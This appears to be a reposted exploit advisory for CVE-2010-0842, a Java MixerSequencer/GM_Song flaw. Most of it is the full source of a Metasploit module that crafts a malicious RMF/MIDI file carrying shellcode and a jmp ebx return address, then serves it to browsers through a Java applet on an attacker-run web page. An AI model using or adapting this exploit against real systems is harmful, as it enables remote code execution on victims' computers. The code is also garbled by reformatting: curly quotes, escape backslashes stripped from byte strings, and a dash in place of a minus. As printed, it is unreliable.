Java MixerSequencer Object GM_Song Structure Handling Exploit

Summary

Java MixerSequencer Object GM_Song suffers from structure handling vulnerability

Credit:

The information has been provided by Prabhu S Angadi.


Details

Vulnerable Systems:
 * Java MixerSequencer Object GM_Song

require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})
super(update_info(info,
‘Name’ => ‘Java MixerSequencer Object GM_Song Structure Handling Vulnerability’,
‘Description’ => %q{
This module exploits a flaw within the handling of MixerSequencer objects
in Java 6u18 and before.

Exploitation id done by supplying a specially crafted MIDI file within an RMF
File. When the MixerSequencer objects is used to play the file, the GM_Song
structure is populated with a function pointer provided by a SONG block in the
RMF. A Midi block that contains a MIDI with a specially crafted controller event
is used to trigger the vulnerability.

When triggering the vulnerability ‘ebx’ points to a fake event in the MIDI file
which stores the shellcode. A ‘jmp ebx’ from msvcr71.dll is used to make the
exploit reliable over java updates.
},
‘License’ => MSF_LICENSE,
‘Author’ =>
[
‘Peter Vreugdenhil’, # Vulnerability Discovery and exploit
‘juan vazquez’, # Metasploit module
],
‘References’ =>
[
[ ‘CVE’, ‘2010-0842’ ],
[ ‘OSVDB’, ‘63493’],
[ ‘BID’, ‘39077’],
[ ‘URL’, ‘http://www.zerodayinitiative.com/advisories/ZDI-10-060/’ ],
[ ‘URL’, ‘http://vreugdenhilresearch.nl/java-midi-parse-vulnerabilities/’]
],
‘Payload’ =>
{
‘Space’ => 8000,
},
‘DefaultOptions’ =>
{
‘EXITFUNC’ => ‘process’,
‘InitialAutoRunScript’ => ‘migrate -f’,
},
‘Platform’ => ‘win’,
‘Targets’ =>
[
[
# Tested succesfully on:
# Windows XP SP3 / IE 6 / Java 6u18
# Windows XP SP3 / IE 7 / Java 6u18
# Windows XP SP3 / IE 8 / Java 6u18
# Windows XP SP3 / Firefox 7.0.1 / Java 6u18
# Windows XP SP3 / IE 8 / Java 6u17
# Windows XP SP3 / Firefox 7.0.1 / Java 6u17
# Windows 7 / IE 8 / Java 6u18
‘Windows / Java 6 <=u18’,
{
‘Ret’ => 0x7C35A78D # jmp ebx # msvcr71.dll
}
],
],
‘Privileged’ => false,
‘DisclosureDate’ => ‘Mar 30 2010’,
‘DefaultTarget’ => 0))

end

def get_rmf

rmf_header = ”
rmf_header << ‘IREZ’ # RMFHeaderMagic
rmf_header << ‘x00x00x00x01’ # RMFVersionNumber
rmf_header << ‘x00x00x00x02’ # NumberOfRMFBlocks

song_block = ”
song_block << ‘x00x00x00x65’ # OffsetToNextBlock
song_block << ‘SONG’ # BlockType
song_block << [target.ret].pack(‘N’) # BlockID
song_block << ‘x00’ # BlockName
song_block << ‘x00x00x00x47’ # BlockDataSize
song_block << ‘x7FxFFx00x01x00x00x01x01’ # BlockData
song_block << ‘x00x00x00x04x00x1Cx00x08’ # BlockData
song_block << ‘x00x7Fx00x00x00x00x00x00’ # BlockData
song_block << ‘x00x00x00x00x00x00x00x00’ # BlockData
song_block << ‘x00x00x00x00x00x00x00x00’ # BlockData
song_block << ‘x00x00x00x00x00x00x00x00’ # BlockData
song_block << ‘x00x01x54x49x54x4Cx9FxB1’ # BlockData
song_block << ‘xB5x0Dx0Ax7ExFBx70x9Cx86’ # BlockData
song_block << ‘xFExB0x35x93xE2x5ExDExF7’ # BlockData

midi = ”
# HEADERCHUNK Header
midi << ‘MThd’ # Header
midi << ‘x00x00x00x06’ # Chunk size
midi << ‘x00x01’ # Format Type
midi << ‘x00x01’ # Number of tracks
midi << ‘x00x08’ # Time division
# TRACKCHUNK header
midi << ‘MTrk’ # Header
midi << ‘x00x00x24xd7’ # Length
midi << ‘x00xb0x80x00’ # Controller Event # Triggers the vulnerability
# Fake Midi Meta event – Shellcode
midi << ‘x38’ # Variable lenght delta time
midi << ‘xff’ # Midi meta event
midi << ‘x02’ # Meta event type 02 => Copyright notice
midi << ‘xc9x50’ # Variable Meta Event Length
midi << payload.encoded
midi << rand_text(9123 – payload.encoded.length)

midi_block = ‘x00x00x25x60’ # OffsetToNextBlock
midi_block << ‘Midi’ # BlockType
midi_block << ‘x00x00x7fxff’ # BlockID
midi_block << ‘x00’ # BlockName
midi_block << ‘x00x00x24xed’ # BlockDataSize
midi_block << midi # BlockData

rmf = ”
rmf << rmf_header
rmf << song_block
rmf << midi_block

rmf_name = ‘#{rand_text_alpha(rand(5) + 3)}.rmf’

return rmf_name, rmf
end

def get_jar

files = [
[ ‘MyController.class’ ],
[ ‘MixerMidiApplet.class’ ],
[ ‘META-INF’, ‘services’, ‘javax.sound.midi.spi.MidiDeviceProvider’ ]
]
jar = Rex::Zip::Jar.new
jar.add_file(‘META-INF/’, ”)
jar.add_file(‘META-INF/services/’, ”)
jar.add_files(files, File.join(Msf::Config.install_root, ‘data’, ‘exploits’, ‘CVE-2010-0842’))
jar.build_manifest

jar_name = ‘#{rand_text_alpha(rand(5) + 3)}.jar’

return jar_name, jar
end

def on_request_uri(cli, request)

if request.uri =~ /.jar$/i
print_status(‘Sending JAR file to #{cli.peerhost}:#{cli.peerport}…’)
send_response(cli, @jar.pack, {‘Content-Type’=>’application/octet-strem’})
return
end

if request.uri =~ /.rmf$/i
print_status(‘Sending RMF file to #{cli.peerhost}:#{cli.peerport}…’)
send_response(cli, @rmf, {‘Content-Type’=>’application/octet-strem’})
return
end

base_uri = (‘/’ == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
rmf_uri = base_uri + ‘/#{@rmf_name}’
jar_uri = base_uri + ‘/#{@jar_name}’

html = %Q|
<html>
<head>
</head>
<body>
<applet code=’MixerMidiApplet.class’ archive=’#{jar_uri}’ width=350 height=200>
<param name=’midifile’ valuetype=’ref’ value=’#{rmf_uri}’>
</applet>
</body>
</html>
|

html = html.gsub(/^tt/, ”)

print_status(‘Sending html to #{cli.peerhost}:#{cli.peerport}…’)
send_response(cli, html, {‘Content-Type’=>’text/html’})
end

def exploit
@jar_name, @jar = get_jar
@rmf_name, @rmf = get_rmf
super
end

end

CVE Information:
2010-0842

Disclosure Timeline:
Published: 2012-02-16

Categories: Exploits